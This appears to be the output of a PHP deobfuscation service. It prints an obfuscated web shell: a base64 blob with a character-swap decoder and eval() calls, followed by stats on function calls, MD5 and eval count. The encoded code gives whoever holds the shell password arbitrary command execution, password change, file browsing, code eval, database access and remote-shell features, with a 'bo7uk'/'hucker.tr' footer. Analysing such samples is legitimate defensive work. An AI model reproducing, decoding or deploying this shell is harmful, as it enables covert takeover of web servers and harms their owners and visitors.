JF9HUFsnbjV3cDFzc3gnXSk6IiI7DQoNCiAgICAgICAgICAgIDRmKDVtcHR5KCRuNXdwMXNzKSB8fCA1bXB0eSgkbjV3cDFzc3gpKXsNCiAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gbjJ0NGYoJ0c0djUgeTIzciBuNXcgcDFzc3cycmQgdDIgYjJ0aCBmNDVsZHMnKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczU0ZigkbjV3cDFzcyAhPSAkbjV3cDFzc3gpew0KICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSBuMnQ0ZignUDFzc3cycmQgZDI1cyBuMnQgbTF0Y2gnKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczV7DQogICAgICAgICAgICAgICAgNGYoY2gxbmc1cDFzcygkbjV3cDFzcykpew0KICAgICAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gbjJ0NGYoIlAxc3N3MnJkIGNoMW5nNWQiKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNWxzNSAkc19yNXMzbHQgLj0gbjJ0NGYoIlVuMWJsNSB0MiBjaDFuZzUgcDFzc3cycmQiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQoNCiAgICAgICAgJHNfcjVzM2x0IC49ICI8ZDR2IGNsMXNzPSdteWIyeCc+PGhhPkNoMW5nNSBzaDVsbCBwMXNzdzJyZDwvaGE+DQoJCQk8ZjJybSAxY3Q0Mm49JyIuJHNfczVsZi4iJyBtNXRoMmQ9J3Ayc3QnIC8+DQoJCQk8dDFibDUgY2wxc3M9J215YjJ4dGJsJz4NCgkJCTx0cj48dGQgc3R5bDU9J3c0ZHRoOjZhMHB4Oyc+TjV3IHAxc3N3MnJkPC90ZD48dGQ+PDRucDN0IHN0eWw1PSd3NGR0aDo2MDAlOycgY2wxc3M9JzRucDN0eicgdHlwNT0ncDFzc3cycmQnIG4xbTU9J241d3Axc3MnIHYxbDM1PScnIC8+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZCBzdHlsNT0ndzRkdGg6NmEwcHg7Jz5DMm5mNHJtIHAxc3N3MnJkPC90ZD48dGQ+PDRucDN0IHN0eWw1PSd3NGR0aDo2MDAlOycgY2wxc3M9JzRucDN0eicgdHlwNT0ncDFzc3cycmQnIG4xbTU9J241d3Axc3N4JyB2MWwzNT0nJyAvPjwvdGQ+PC90cj4NCgkJCTwvdDFibDU+DQoJCQk8NG5wM3QgdHlwNT0nczNibTR0JyBuMW01PSdzM2JtNHRuNXdwMXNzJyBjbDFzcz0nNG5wM3R6YjN0JyB2MWwzNT0nRzIgIScgc3R5bDU9J3c0ZHRoOjZhMHB4O2g1NGdodDpvMHB4O20xcmc0bjo2MHB4IGFweCAwIGFweDsnIC8+DQoJCQk8NG5wM3QgdHlwNT0naDRkZDVuJyBuMW01PSd4JyB2MWwzNT0ncDFzcycgLz4NCgkJCTwvZjJybT4NCgkJCTwvZDR2PiI7DQogICAgfQ0KICAgIDVsczV7DQogICAgICAgIDRmKCE0c3M1dCgkc19jd2QpKSAkc19jd2QgPSAiIjsNCiAgICAgICAgNGYoNHNzNXQoJF9HUFsnY21kJ10pKXsNCiAgICAgICAgICAgICRzX2NtZCA9ICRfR1BbJ2NtZCddOw0KICAgICAgICAgICAgNGYoc3RybDVuKCRzX2NtZCkgPiAwKXsNCiAgICAgICAgICAgICAgICA0ZihwcjVnX20xdGNoKCcjXmNkKFwgKSsoLiopIycsJHNfY21kLCRzX3IpKXsNCiAgICAgICAgICAgICAgICAgICAgJHNfbmQgPSB0cjRtKCRzX3JbYV0pOw0KICAgICAgICAgICAgICAgICAgICA0ZihANHNfZDRyKCRzX25kKSl7DQogICAgICAgICAgICAgICAgICAgICAgICBjaGQ0cigkc19uZCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkc19jd2QgPSBjcChnNXRjd2QoKSk7DQogICAgICAgICAgICAgICAgICAgICAgICBzNXRjMjJrNDUoImN3ZCIsICRzX2N3ZCAsdDRtNSgpICsgJHNfbDJnNG5fdDRtNSk7DQogICAgICAgICAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gc2gyd2Q0cigkc19jd2QpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDVsczU0ZihANHNfZDRyKCRzX2N3ZC4kc19uZCkpew0KICAgICAgICAgICAgICAgICAgICAgICAgY2hkNHIoJHNfY3dkLiRzX25kKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzX2N3ZCA9IGNwKGc1dGN3ZCgpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHM1dGMyMms0NSgiY3dkIiwgJHNfY3dkICx0NG01KCkgKyAkc19sMmc0bl90NG01KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSBzaDJ3ZDRyKCRzX2N3ZCk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgNWxzNSAkc19yNXMzbHQgLj0gbjJ0NGYoaHNzKCRzX25kKS4iIDRzIG4ydCAxIGQ0cjVjdDJyeSIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA1bHM1ew0KICAgICAgICAgICAgICAgICAgICAkc19yID0gaHNzKDV4NSgkc19jbWQpKTsNCiAgICAgICAgICAgICAgICAgICAgNGYoJHNfciAhPSAnJykgJHNfcjVzM2x0IC49ICI8cHI1PiIuJHNfci4iPC9wcjU+IjsNCiAgICAgICAgICAgICAgICAgICAgNWxzNSAkc19yNXMzbHQgLj0gc2gyd2Q0cigkc19jd2QpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczUgJHNfcjVzM2x0IC49IHNoMndkNHIoJHNfY3dkKTsNCiAgICAgICAgfQ0KICAgICAgICA1bHM1ICRzX3I1czNsdCAuPSBzaDJ3ZDRyKCRzX2N3ZCk7DQogICAgfQ0KDQogICAgLy8gZjRuZCBkcjR2NSBsNXR0NXJzDQogICAgJHNfbDV0dDVycyA9ICcnOw0KICAgICRzX3YgPSA1eHBsMmQ1KCJcXCIsJHNfY3dkKTsNCiAgICAkc192ID0gJHNfdlswXTsNCiAgICBmMnI1MWNoIChyMW5nNSgiQSIsICJaIikgMXMgJHNfbDV0dDVyKXsNCiAgICAgICAgNGYoQDRzX3I1MWQxYmw1KCRzX2w1dHQ1ci4iOlxcIikpew0KICAgICAgICAgICAgJHNfbDV0dDVycyAuPSAiPDEgaHI1Zj0nIi4kc19zNWxmLiJjZD0iLiRzX2w1dHQ1ci4iOlxcJz5bICI7DQogICAgICAgICAgICA0Zigkc19sNXR0NXIuIjoiICE9ICRzX3YpICRzX2w1dHQ1cnMgLj0gJHNfbDV0dDVyOw0KICAgICAgICAgICAgNWxzNXskc19sNXR0NXJzIC49ICI8c3AxbiBjbDFzcz0nZHI0djUtbDV0dDVyJz4iLiRzX2w1dHQ1ci4iPC9zcDFuPiI7fQ0KICAgICAgICAgICAgJHNfbDV0dDVycyAuPSAiIF08LzE+ICI7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBwcjRudCAzczVmM2wgNG5mMg0KICAgICRzXzRuZjIgID0gIjx0MWJsNSBjbDFzcz0naDUxZHRibCc+PHRyPjx0ZD4iLiRzX3N5c3Q1bS4iPC90ZD48L3RyPiI7DQogICAgJHNfNG5mMiAuPSAiPHRyPjx0ZD4iLiRzX3MyZnR3MXI1LiI8L3RkPjwvdHI+IjsNCiAgICAkc180bmYyIC49ICI8dHI+PHRkPnM1cnY1ciA0cCA6ICIuJHNfczVydjVyXzRwLiI8c3AxbiBjbDFzcz0nZzF5MSc+IHwgPC9zcDFuPnkyM3IgICA0cCA6ICIuJHNfbXlfNHA7DQogICAgJHNfNG5mMiAuPSAiPHNwMW4gY2wxc3M9J2cxeTEnPiB8IDwvc3Axbj4gVDRtNSBAIFM1cnY1ciA6ICIuQGQxdDUoImQgTSBZIEg6NDpzIix0NG01KCkpOw0KICAgICRzXzRuZjIgLj0gIjwvdGQ+PC90cj4NCgkJCTx0cj48dGQgc3R5bDU9J3Q1eHQtMWw0Z246bDVmdDsnPg0KCQkJCTx0MWJsNSBjbDFzcz0naDUxZHRibHMnPjx0cj4NCgkJCQk8dGQ+Ii50cjRtKCRzX2w1dHQ1cnMpLiI8L3RkPg0KCQkJCTx0ZD4NCgkJCQk8c3AxbiA0ZD0nY2hwd2QnPg0KCQkJCSZuYnNwOzwxIGhyNWY9XCJqMXYxc2NyNHB0OnQzazFyXygnY2hwd2QnLCdjaHB3ZGYycm0nKVwiPg0KCQkJCTxzcDFuIGNsMXNzPSc0YzJuJz4yPC9zcDFuPg0KCQkJCSZuYnNwOyZuYnNwOzwvMT4iLnN3ZCgkc19jd2QpLiI8L3NwMW4+DQoJCQkJPGYycm0gMWN0NDJuPSciLiRzX3M1bGYuIicgbTV0aDJkPSdwMnN0JyBzdHlsNT0nbTFyZzRuOjA7cDFkZDRuZzowOyc+DQoJCQkJPHNwMW4gY2wxc3M9J3M1bWIzbnk0JyA0ZD0nY2hwd2RmMnJtJz4NCgkJCQkmbmJzcDs8MSBocjVmPVwiajF2MXNjcjRwdDp0M2sxcl8oJ2NocHdkZjJybScsJ2NocHdkJyk7XCI+DQoJCQkJPHNwMW4gY2wxc3M9JzRjMm4nPjI8L3NwMW4+DQoJCQkJPC8xPiZuYnNwOyZuYnNwOw0KCQkJCTw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSd2NDV3JyBjbDFzcz0nNG5wM3R6JyBzdHlsNT0ndzRkdGg6bzAwcHg7JyB2MWwzNT0nIi5oc3MoJHNfY3dkKS4iJyAvPg0KCQkJCTw0bnAzdCBjbDFzcz0nNG5wM3R6YjN0JyB0eXA1PSdzM2JtNHQnIG4xbTU9J3MzYm00dCcgdjFsMzU9J3Y0NXcgZjRsNSAvIGYybGQ1cicgLz4NCgkJCQk8L3NwMW4+DQoJCQkJPC9mMnJtPg0KCQkJCTwvdGQ+PC90cj4NCgkJCQk8L3QxYmw1Pg0KCQkJPC90ZD48L3RyPg0KCQkJPC90MWJsNT4iOw0KfQ0KDQokc181cnIyciA9IEAyYl9nNXRfYzJudDVudHMoKTsNCiRzX3I1czNsdCA9IDRzczV0KCRzX3I1czNsdCk/ICRzX3I1czNsdDoiIjsNCjRmKCE1bXB0eSgkc181cnIycikpICRzX3I1czNsdCA9IG4ydDRmKCRzXzVycjJyKS4kc19yNXMzbHQ7DQpAMmJfNW5kX2NsNTFuKCk7DQpAMmJfc3QxcnQoKTsNCg0KPz48IURPQ1RZUEUgaHRtbD4NCjxodG1sPg0KPGg1MWQ+DQogICAgPHQ0dGw1Pjw/cGhwIDVjaDIgJHNfdDR0bDU7ID8+PC90NHRsNT4NCiAgICA8bTV0MSBjaDFyczV0PSIzdGYtOCI+DQogICAgPG01dDEgbjFtNT0ncjJiMnRzJyBjMm50NW50PSduMjRuZDV4LCBuMmYybGwydywgbjIxcmNoNHY1Jz4NCiAgICA8bDRuayByNWw9J1NIT1JUQ1VUIElDT04nIGhyNWY9Jzw/cGhwIDVjaDIgJHNfZjF2NGMybjsgPz4nPg0KICAgIDw/cGhwIDVjaDIgZzV0X2MyZDUoImNzcyIsICRzX2Nzcyk7ID8+DQo8L2g1MWQ+DQo8YjJkeT4NCjx0MWJsNSA0ZD0nbTE0bic+PHRyPjx0ZD4NCiAgICAgICAgICAgIDw/cGhwIDRmKCRzXzEzdGgpez8+DQogICAgICAgICAgICAgICAgPGQ0dj48c3AxbiBzdHlsNT0nZmwyMXQ6cjRnaHQ7Jz48P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoITRzczV0KCRfQ09PS0lFWydibzd1a180bmNsM2Q1ZCddKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPz48MSBocjVmPSc/eD1wMXNzJz5wMXNzdzJyZDwvMT4gfA0KCTw/cGhwIH0NCiAgICAgICAgICAgICAgICAgICAgICAgID8+PDEgaHI1Zj0nPD9waHAgNWNoMiAkc19zNWxmOyA/Png9bDJnMjN0JyB0NHRsNT0nQ2w0Y2sgbTUgdDIgbDJnIDIzdCc+bDJnIDIzdDwvMT4gIDwxIGhyNWY9Jzw/cGhwIDVjaDIgJHNfczVsZjsgPz54PXN3NHRjaCcgdDR0bDU9J0NsNGNrIG01IHQyIGNoMW5nNSB0aDVtNSc+PHNwMW4gY2wxc3M9J3NjaDVtMWIyeCc+Jm5ic3A7Jm5ic3A7PC9zcDFuPjwvMT48L3NwMW4+PHQxYmw1IDRkPSdoNTFkNXInPjx0cj48dGQgc3R5bDU9J3c0ZHRoOjgwcHg7Jz48dDFibDU+PHRyPjx0ZD48aDY+PDEgaHI1Zj0nPD9waHAgNWNoMiAkc19zNWxmLiJjZD0iLmNwKGQ0cm4xbTUocjUxbHAxdGgoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKSkpOyA/Pic+cHI0djg8LzE+PC9oNj48L3RkPjwvdHI+PHRyPjx0ZCBzdHlsNT0ndDV4dC0xbDRnbjpyNGdodDsnPjxkNHYgY2wxc3M9J3Y1cic+MC42PC9kNHY+PC90ZD48L3RyPjwvdDFibDU+PC90ZD4JPHRkPjxkNHYgY2wxc3M9J2g1MWQ0bmYyJz48P3BocCA1Y2gyICRzXzRuZjI7ID8+PC9kNHY+PC90ZD48L3RyPjwvdDFibDU+PC9kNHY+DQogICAgICAgICAgICAgICAgPGQ0diBzdHlsNT0nY2w1MXI6YjJ0aDsnPjwvZDR2Pg0KICAgICAgICAgICAgICAgIDxmMnJtIG01dGgyZD0ncDJzdCcgbjFtNT0nZyc+PC9mMnJtPg0KICAgICAgICAgICAgICAgIDxkNHYgNGQ9J201bjMnPg0KICAgICAgICAgICAgICAgICAgICA8dDFibDUgc3R5bDU9J3c0ZHRoOjYwMCU7Jz48dHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjwxIGhyNWY9Jzw/cGhwIDVjaDIgJHNfczVsZjsgPz4nIHQ0dGw1PSdFeHBsMnI1cic+PGQ0diBjbDFzcz0nbTVuM200Jz54cGw8L2Q0dj48LzE+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PDEgaHI1Zj0nPD9waHAgNWNoMiAkc19zNWxmOyA/Png9cHMnIHQ0dGw1PSdENHNwbDF5IHByMmM1c3Mgc3QxdDNzJz48ZDR2IGNsMXNzPSdtNW4zbTQnPnBzPC9kNHY+PC8xPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjwxIGhyNWY9Jzw/cGhwIDVjaDIgJHNfczVsZjsgPz54PTV2MWwnIHQ0dGw1PSdFeDVjM3Q1IGMyZDUnPjxkNHYgY2wxc3M9J201bjNtNCc+NXYxbDwvZDR2PjwvMT48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48MSBocjVmPSc8P3BocCA1Y2gyICRzX3M1bGY7ID8+eD00bmYyJyB0NHRsNT0nSW5mMnJtMXQ0Mm4gMWIyM3QgczVydjVyJz48ZDR2IGNsMXNzPSdtNW4zbTQnPjRuZjI8L2Q0dj48LzE+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PDEgaHI1Zj0nPD9waHAgNWNoMiAkc19zNWxmOyA/Png9ZGInIHQ0dGw1PSdDMm5uNWN0IHQyIGQxdDFiMXM1Jz48ZDR2IGNsMXNzPSdtNW4zbTQnPmRiPC9kNHY+PC8xPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjwxIGhyNWY9Jzw/cGhwIDVjaDIgJHNfczVsZjsgPz54PXJzJyB0NHRsNT0nUjVtMnQ1IFNoNWxsJz48ZDR2IGNsMXNzPSdtNW4zbTQnPnJzPC9kNHY+PC8xPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWw1PSd3NGR0aDo2MDAlO3AxZGQ0bmc6MCAwIDAgZXB4Oyc+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcDFuIGNsMXNzPSdwcjJtcHQnPjw/cGhwIDVjaDIgJHNfcHIybXB0OyA/Pjwvc3Axbj48ZjJybSAxY3Q0Mm49Jzw/cGhwIDVjaDIgJHNfczVsZjsgPz4nIG01dGgyZD0ncDJzdCc+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8NG5wM3QgNGQ9J2NtZCcgMm5jbDRjaz0iY2w0Y2tjbWQoKTsiIGNsMXNzPSc0bnAzdHonIHR5cDU9J3Q1eHQnIG4xbTU9J2NtZCcgc3R5bDU9J3c0ZHRoOjcwJTsnIHYxbDM1PSc8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoNHNzNXQoJF9HUFsnY21kJ10pKSA1Y2gyICIiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNSA1Y2gyICItIHNoNWxsIGMybW0xbmQgLSI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PicgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxuMnNjcjRwdD48NG5wM3QgY2wxc3M9JzRucDN0emIzdCcgdHlwNT0nczNibTR0JyB2MWwzNT0nRzIgIScgbjFtNT0nczNibTR0Y21kJyBzdHlsNT0ndzRkdGg6ODBweDsnIC8+PC9uMnNjcjRwdD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mMnJtPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPjwvdDFibDU+DQogICAgICAgICAgICAgICAgPC9kNHY+DQogICAgICAgICAgICAgICAgPGQ0diA0ZD0nYzJudDVudCc+DQogICAgICAgICAgICAgICAgICAgIDxkNHYgNGQ9J3I1czNsdCc+PD9waHAgNWNoMiAiX19SRVNVTFRfXyI7ID8+PC9kNHY+DQogICAgICAgICAgICAgICAgPC9kNHY+DQogICAgICAgICAgICAgICAgPGQ0diA0ZD0nbjF2NGcxdDQybic+DQogICAgICAgICAgICAgICAgICAgIDxkNHYgNGQ9J3QydDJwJyAybmNsNGNrPSd0MnQycGQoKTsnIDJubTIzczUydjVyPSd0MnQycCgpOycgMm5tMjNzNTIzdD0nc3QycHNjcjJsbCgpOyc+PC9kNHY+DQogICAgICAgICAgICAgICAgICAgIDxkNHYgNGQ9J3QyYjJ0dDJtJyAybmNsNGNrPSd0MmIydHQybWQoKTsnIDJubTIzczUydjVyPSd0MmIydHQybSgpOycgMm5tMjNzNTIzdD0nc3QycHNjcjJsbCgpOyc+PC9kNHY+DQogICAgICAgICAgICAgICAgPC9kNHY+DQogICAgICAgICAgICA8P3BocCB9IDVsczV7ID8+DQogICAgICAgICAgICAgICAgPGQ0diBzdHlsNT0ndzRkdGg6NjAwJTt0NXh0LTFsNGduOmM1bnQ1cjsnPg0KICAgICAgICAgICAgICAgICAgICA8ZjJybSAxY3Q0Mm49Jzw/cGhwIDVjaDIgJHNfczVsZjsgPz4nIG01dGgyZD0ncDJzdCc+DQogICAgICAgICAgICAgICAgICAgICAgICA8NG1nIHNyYz0nPD9waHAgNWNoMiAkc19mMXY0YzJuOyA/Picgc3R5bDU9J20xcmc0bjphcHg7djVydDRjMWwtMWw0Z246bTRkZGw1OycgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIGJvN3VrJm5ic3A7PHNwMW4gY2wxc3M9J2cxeTEnPjw/cGhwIDVjaDIgJHNfdjVyOyA/Pjwvc3Axbj48NG5wM3QgNGQ9J2wyZzRuJyBjbDFzcz0nNG5wM3R6JyB0eXA1PSdwMXNzdzJyZCcgbjFtNT0nbDJnNG4nIHN0eWw1PSd3NGR0aDo2YTBweDsnIHYxbDM1PScnIC8+DQogICAgICAgICAgICAgICAgICAgICAgICA8NG5wM3QgY2wxc3M9JzRucDN0emIzdCcgdHlwNT0nczNibTR0JyB2MWwzNT0nRzIgIScgbjFtNT0nczNibTR0bDJnNG4nIHN0eWw1PSd3NGR0aDo4MHB4OycgLz4NCiAgICAgICAgICAgICAgICAgICAgPC9mMnJtPg0KICAgICAgICAgICAgICAgIDwvZDR2Pg0KICAgICAgICAgICAgPD9waHAgfT8+CTwvdGQ+PC90cj48L3QxYmw1Pg0KPHAgY2wxc3M9J2YyMnQ1cic+aHVjazVyLnRyICZjMnB5Ozw/cGhwIDVjaDIgQGQxdDUoIlkiLHQ0bTUoKSkuIiAiOyA/PnByNHY4PC9wPg0KPHNjcjRwdCB0eXA1PSd0NXh0L2oxdjFzY3I0cHQnPg0KICAgIHYxciBkID0gZDJjM201bnQ7DQogICAgdjFyIHNjcjJsbCA9IGYxbHM1Ow0KICAgIHYxciBjd2QgPSAnPD9waHAgNWNoMiBoc3MoMWRkcygkc19jd2QpKTsgPz4nOw0KICAgIHYxciBoNXhzdDF0M3MgPSBmMWxzNTsNCiAgICB2MXIgdDRtNXIgPSAnJzsNCiAgICB2MXIgeCA9ICc8P3BocCA0Zig0c3M1dCgkX0dQWyd4J10pICYmICgkX0dQWyd4J109PSdwcycpKSA1Y2gyICJwcyI7ID8+JzsNCiAgICB2MXIgc3M1bGYgPSAnPD9waHAgNWNoMiAxZGRzKCRzX3M1bGYpOyA/Pic7DQogICAgdjFyIGg1eGMyM250NXIgPSAwOw0KICAgIHYxciBoNXh0NG01ciA9ICcnOw0KICAgIHYxciBjMjNudDVyID0gMDsNCg0KPC9zY3I0cHQ+DQo8P3BocCA1Y2gyIGc1dF9jMmQ1KCJqcyIsICRzX2pzKTsgPz4NCjxzY3I0cHQgdHlwNT0ndDV4dC9qMXYxc2NyNHB0Jz4NCiAgICBkMm1yNTFkeShmM25jdDQybigpew0KICAgICAgICA8P3BocCA0Zig0c3M1dCgkX0dQWydjbWQnXSkpIDVjaDIgIjRmKGQuZzV0RWw1bTVudEJ5SWQoJ2NtZCcpKSBkLmc1dEVsNW01bnRCeUlkKCdjbWQnKS5mMmMzcygpOyI7ID8+DQogICAgICAgIDw/cGhwIDRmKDRzczV0KCRfR1BbJzV2MWxjMmQ1J10pKSA1Y2gyICI0ZihkLmc1dEVsNW01bnRCeUlkKCc1djFsYzJkNScpKSBkLmc1dEVsNW01bnRCeUlkKCc1djFsYzJkNScpLmYyYzNzKCk7IjsgPz4NCiAgICAgICAgPD9waHAgNGYoNHNzNXQoJF9HUFsnc3FsYzJkNSddKSkgNWNoMiAiNGYoZC5nNXRFbDVtNW50QnlJZCgnc3FsYzJkNScpKSBkLmc1dEVsNW01bnRCeUlkKCdzcWxjMmQ1JykuZjJjM3MoKTsiOyA/Pg0KICAgICAgICA8P3BocCA0Zig0c3M1dCgkX0dQWydsMmc0biddKSkgNWNoMiAiNGYoZC5nNXRFbDVtNW50QnlJZCgnbDJnNG4nKSkgZC5nNXRFbDVtNW50QnlJZCgnbDJnNG4nKS5mMmMzcygpOyI7ID8+DQogICAgICAgIDw/cGhwIDRmKDRzczV0KCRfR1BbJ2g1eDVkNHQnXSkpIDVjaDIgInNoMndoNXgoKTsiOyA/Pg0KDQogICAgICAgIDRmKGQuZzV0RWw1bTVudEJ5SWQoJ2NtZCcpKSBkLmc1dEVsNW01bnRCeUlkKCdjbWQnKS5zNXRBdHRyNGIzdDUoJzEzdDJjMm1wbDV0NScsICcyZmYnKTsNCg0KICAgICAgICB2MXIgdDV4dDFyNTFzID0gZC5nNXRFbDVtNW50c0J5VDFnTjFtNSgndDV4dDFyNTEnKTsNCiAgICAgICAgdjFyIGMyM250ID0gdDV4dDFyNTFzLmw1bmd0aDsNCiAgICAgICAgZjJyKDQgPSAwOyA0PGMyM250OyA0Kyspew0KICAgICAgICAgICAgdDV4dDFyNTFzWzRdLjJuazV5ZDJ3biA9IGYzbmN0NDJuKDUpew0KICAgICAgICAgICAgICAgIDRmKDUuazV5QzJkNT09OSl7DQogICAgICAgICAgICAgICAgICAgIDUucHI1djVudEQ1ZjEzbHQoKTsNCiAgICAgICAgICAgICAgICAgICAgdjFyIHMgPSB0aDRzLnM1bDVjdDQyblN0MXJ0Ow0KICAgICAgICAgICAgICAgICAgICB0aDRzLnYxbDM1ID0gdGg0cy52MWwzNS5zM2JzdHI0bmcoMCx0aDRzLnM1bDVjdDQyblN0MXJ0KSArICJcdCIgKyB0aDRzLnYxbDM1LnMzYnN0cjRuZyh0aDRzLnM1bDVjdDQybkVuZCk7DQogICAgICAgICAgICAgICAgICAgIHRoNHMuczVsNWN0NDJuRW5kID0gcys2Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA1bHM1IDRmKDUuY3RybEs1eSAmJiAoNS5rNXlDMmQ1ID09IDYwIHx8IDUuazV5QzJkNSA9PSA2bykpew0KICAgICAgICAgICAgICAgICAgICB0aDRzLmYycm0uczNibTR0KCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGw0c3Q1bigpOw0KICAgIH0pOw0KPC9zY3I0cHQ+DQo8L2IyZHk+DQo8L2h0bWw+PD9waHANCiRzX2h0bWwgPSAyYl9nNXRfYzJudDVudHMoKTsNCjJiXzVuZF9jbDUxbigpOw0KJHdoNHQ1c3AxYzUgPSAiLyhcc3thLH18XG57Nix9KS8iOw0KJHNfaHRtbCA9IHByNWdfcjVwbDFjNSgkd2g0dDVzcDFjNSwgIiAiLCAkc19odG1sKTsNCiRzX2h0bWwgPSBzdHJfcjVwbDFjNSgiX19SRVNVTFRfXyIsICRzX3I1czNsdCwgJHNfaHRtbCk7DQo1Y2gyICRzX2h0bWw7DQpkNDUoKTsNCj8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Function Calls
| strtr | 1 |
| ereg_replace | 1 |
| base64_decode | 2 |
| error_reporting | 1 |
Stats
| MD5 | 290c74f31e0b10972e0fd89f058bd272 |
| Eval Count | 2 |
| Decode Time | 586 ms |